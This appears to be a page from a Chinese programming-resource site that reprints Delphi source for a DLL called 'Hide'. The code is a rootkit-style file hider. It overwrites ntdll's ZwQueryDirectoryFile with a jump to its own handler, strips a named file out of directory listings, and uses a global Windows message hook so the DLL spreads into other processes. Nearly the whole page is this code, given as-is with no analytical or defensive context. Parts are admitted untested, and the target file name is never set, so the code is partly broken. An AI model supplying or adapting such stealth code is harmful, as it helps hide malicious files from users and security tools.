主页 > 编程资料 > Delphi >
发布时间:2015-09-22 作者:网络 阅读:176次

 library Hide;

uses
  Windows,
  Native,Dialogs,SysUtils;

  const
     FileDirectoryInformation = 1;
  FileFullDirectoryInformation = 2;
  FileBothDirectoryInformation = 3;
  FileNamesInformation = 12;
  STATUS_NO_SUCH_FILE = $C000000F;

type
OldCode = packed record
  One: dword;
  two: word;
end;

type 
FILE_DIRECTORY_INFORMATION = packed record
  NextEntryOffset: ULONG;
  Unknown: ULONG;
  CreationTime,
  LastAccessTime,
  LastWriteTime,
  ChangeTime,
  EndOfFile,
  AllocationSize: int64; 
  FileAttributes: ULONG;
  FileNameLength: ULONG;
  FileName: PWideChar;
end;
PFILE_DIRECTORY_INFORMATION=^FILE_DIRECTORY_INFORMATION;

type
FILE_FULL_DIRECTORY_INFORMATION = packed record
   NextEntryOffset: ULONG;
   Unknown: ULONG;
   CreationTime,
   LastAccessTime,
   LastWriteTime,
   ChangeTime,
   EndOfFile,
   AllocationSize: int64;
   FileAttributes: ULONG;
   FileNameLength: ULONG;
   EaInformationLength: ULONG;
   FileName: PWideChar;
end;

type
FILE_BOTH_DIRECTORY_INFORMATION = packed record
   NextEntryOffset: ULONG;
   Unknown: ULONG;
   CreationTime,
   LastAccessTime,
   LastWriteTime,
   ChangeTime,
   EndOfFile,
   AllocationSize: int64;
   FileAttributes: ULONG;
   FileNameLength: ULONG;
   EaInformationLength: ULONG;
   AlternateNameLength: WORD;
   AlternateName: array [0..11] of WideChar;
   FileName: WideChar;
end;
PFILE_BOTH_DIRECTORY_INFORMATION=^FILE_BOTH_DIRECTORY_INFORMATION;

type
FILE_NAMES_INFORMATION = packed record
   NextEntryOffset: ULONG;
   Unknown: ULONG;
   FileNameLength: ULONG;
   FileName: PWideChar;
end;

far_jmp = packed record
  PuhsOp: byte;
  PushArg: pointer;
  RetOp: byte;
end;

var
JmpZwq: far_jmp;
OldZwq: OldCode;
PtrZwq: pointer;

Function ZwQueryDirectoryFile(FileHandle: dword;
                              Event: dword;
                              ApcRoutine: pointer;
                              ApcContext: pointer;
                              IoStatusBlock: pointer;
                              FileInformation: pointer;
                              FileInformationLength: dword;
                              FileInformationClass: dword;
                              ReturnSingleEntry: bool;
                              FileName: PUnicodeString;
                              RestartScan: bool): NTStatus;
                              stdcall; external 'ntdll.dll';

Function TrueZwQueryDirectoryFile(FileHandle: dword;
                              Event: dword;
                              ApcRoutine: pointer;
                              ApcContext: pointer;
                              IoStatusBlock: pointer;
                              FileInformation: pointer;
                              FileInformationLength: dword;
                              FileInformationClass: dword;
                              ReturnSingleEntry: bool;
                              FileName: PUnicodeString;
                              RestartScan: bool): NTStatus;
                              stdcall;
var
Written: dword;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                     @OldZwq, SizeOf(OldCode), Written);

  Result := ZwQueryDirectoryFile(FileHandle,
                              Event,
                              ApcRoutine,
                              ApcContext,
                              IoStatusBlock,
                              FileInformation,
                              FileInformationLength,
                              FileInformationClass,
                              ReturnSingleEntry,
                              FileName,
                              RestartScan);

  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                     @JmpZwq, SizeOf(far_jmp), Written);
end;

   function NewZwQueryDirectoryFile (FileHandle: dword;
                              Event: dword;
                              ApcRoutine: pointer;
                              ApcContext: pointer;
                              IoStatusBlock: pointer;
                              FileInformation: pointer;
                              FileInformationLength: dword;
                              FileInformationClass: dword;
                              ReturnSingleEntry: bool;
                              FileName: PUnicodeString;
                              RestartScan: bool): NTStatus; stdcall;
   var
     lNamePWC: PWideChar;
     lNameW, HideFileNameW: WideString;
     lPrevPt, lPt: Pointer;
     lNextEntryOffset: ULONG;
     lSz: ULONG;
   begin
     Result := TrueZwQueryDirectoryFile( FileHandle,
                                         Event,
                                         ApcRoutine,
                                         ApcContext,
                                         IoStatusBlock,
                                         FileInformation,
                                         FileInformationLength,
                                         FileInformationClass,
                                         ReturnSingleEntry,
                                         FileName,
                                         RestartScan  );

     if not (FileInformationClass in [ FileDirectoryInformation,
                                  FileFullDirectoryInformation,
                                  FileBothDirectoryInformation,
                                  FileNamesInformation]) or
        (Result = STATUS_NO_SUCH_FILE) or
        (FileInformationLength = 0) then Exit;
     lPt := FileInformation;
     lPrevPt := nil;
     repeat
       lNextEntryOffset := ULONG(lPt^);

       case FileInformationClass of
         FileDirectoryInformation:
         begin
           lSz := FILE_DIRECTORY_INFORMATION(lPt^).FileNameLength;
           lNamePWC := @FILE_DIRECTORY_INFORMATION(lPt^).FileName;
         end;
         FileFullDirectoryInformation:
         begin
           lSz := FILE_FULL_DIRECTORY_INFORMATION(lPt^).FileNameLength;
           lNamePWC := @FILE_FULL_DIRECTORY_INFORMATION(lPt^).FileName;
         end;
         FileBothDirectoryInformation:
         begin
           lSz := FILE_BOTH_DIRECTORY_INFORMATION(lPt^).FileNameLength;
           lNamePWC := @FILE_BOTH_DIRECTORY_INFORMATION(lPt^).FileName;
         end;
         FileNamesInformation:
         begin
           lSz := FILE_NAMES_INFORMATION(lPt^).FileNameLength;
           lNamePWC := @FILE_NAMES_INFORMATION(lPt^).FileName;
         end;
       end;

       SetLength( lNameW, lSz div 2);
       Move( lNamePWC^, lNameW[1], lSz );

       (* Checkin for our file name *)
       if lstrcmpiW( @HideFileNameW[1], @lNameW[1] ) = 0 then
       begin //Founded :)
         if lPt = FileInformation then
         begin // begin
           //This code part not tested, may have bugs   :b
           if lNextEntryOffset <> 0 then
           begin
             lPt := Pointer(ULONG(lPt)+lNextEntryOffset);
             Move( lPt^, FileInformation^, FileInformationLength - lNextEntryOffset );
           end
           else
             Result := STATUS_NO_SUCH_FILE;
         end
         //this part works fine
         else
         if lNextEntryOffset <> 0 then
         begin // center
           ULONG(lPrevPt^) := ULONG(lPrevPt^) + lNextEntryOffset;
         end
         else //end
         begin
           ULONG(lPrevPt^) := 0;
         end;
         Break; //
       end;
       lPrevPt := lPt;
       lPt := Pointer(ULONG(lPt)+lNextEntryOffset);
     until lNextEntryOffset = 0;
   end;

Procedure SetHook();
var
Bytes: dword;
begin
  PtrZwq  := GetProcAddress(GetModuleHandle('ntdll.dll'),
                            'ZwQueryDirectoryFile');
  ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
  JmpZwq.PuhsOp  := $68;
  JmpZwq.PushArg := @NewZwQueryDirectoryFile;
  JmpZwq.RetOp   := $C3;
  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;

Procedure Unhook();
var
Bytes: dword;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;

Function MessageProc(code : integer; wParam : word;
                    lParam : longint) : longint; stdcall;
begin
CallNextHookEx(0, Code, wParam, lparam);
Result := 0;
end;

Procedure SetGlobalHookProc();
begin
SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
Sleep(INFINITE);
end;
//

Procedure SetGlobalHook();
var
hMutex: dword;
TrId: dword;
begin
hMutex := CreateMutex(nil, false, 'ProcHideHook');
if GetLastError = 0 then
CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
CloseHandle(hMutex);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
  case dwReason of
    DLL_PROCESS_ATTACH: begin
                          SetGlobalHook();
                          SetHook();
                        end;
    DLL_PROCESS_DETACH: begin
                          Unhook();
                        end;
  end;
end;

begin
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
关键字词: